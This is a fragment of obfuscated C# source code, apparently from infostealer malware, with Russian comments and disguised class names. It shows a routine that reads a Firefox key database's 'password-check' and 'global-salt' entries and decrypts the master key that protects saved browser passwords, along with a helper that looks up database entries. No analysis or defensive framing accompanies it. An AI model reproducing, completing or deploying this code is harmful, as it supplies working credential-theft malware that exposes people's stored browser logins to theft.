} //Если P4Key private static byte[] p3k(string file) { byte[] array = new byte[24]; try { if (!File.Exists(file)) { return(array); } new DataTable(); Gecko9 berkeleyDB = new Gecko9(file); Gecko7 Gecko7 = new Gecko7(vbv(berkeleyDB, (string x) => x.Equals("password-check"))); string hexString = vbv(berkeleyDB, (string x) => x.Equals("global-salt")); Gecko8 Gecko8 = new Gecko8(ConvertHexStringToByteArray(hexString), Encoding.Default.GetBytes(string.Empty), ConvertHexStringToByteArray(Gecko7.EntrySalt)); Gecko8.го7па(); Gecko6.lTRjlt(Gecko8.DataKey, Gecko8.DataIV, ConvertHexStringToByteArray(Gecko7.Passwordcheck)); Gecko4 Gecko4 = Gecko1.Create(ConvertHexStringToByteArray(vbv(berkeleyDB, (string x) => !x.Equals("password-check") && !x.Equals("Version") && !x.Equals("global-salt")))); Gecko8 Gecko82 = new Gecko8(ConvertHexStringToByteArray(hexString), Encoding.Default.GetBytes(string.Empty), Gecko4.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData); Gecko82.го7па(); Gecko4 Gecko42 = Gecko1.Create(Gecko1.Create(Encoding.Default.GetBytes(Gecko6.lTRjlt(Gecko82.DataKey, Gecko82.DataIV, Gecko4.Objects[0].Objects[1].ObjectData))).Objects[0].Objects[2].ObjectData); if (Gecko42.Objects[0].Objects[3].ObjectData.Length <= 24) { array = Gecko42.Objects[0].Objects[3].ObjectData; return(array); } Array.Copy(Gecko42.Objects[0].Objects[3].ObjectData, Gecko42.Objects[0].Objects[3].ObjectData.Length - 24, array, 0, 24); return(array); } catch (Exception) { return(array); } }//Если P3Key
}//По названию думай private static string vbv(Gecko9 berkeleyDB, Func <string, bool> predicate) { string text = string.Empty; try { foreach (KeyValuePair <string, string> key in berkeleyDB.Keys) { if (predicate(key.Key)) { text = key.Value; } } } catch (Exception) { } return(text.Replace("-", string.Empty)); }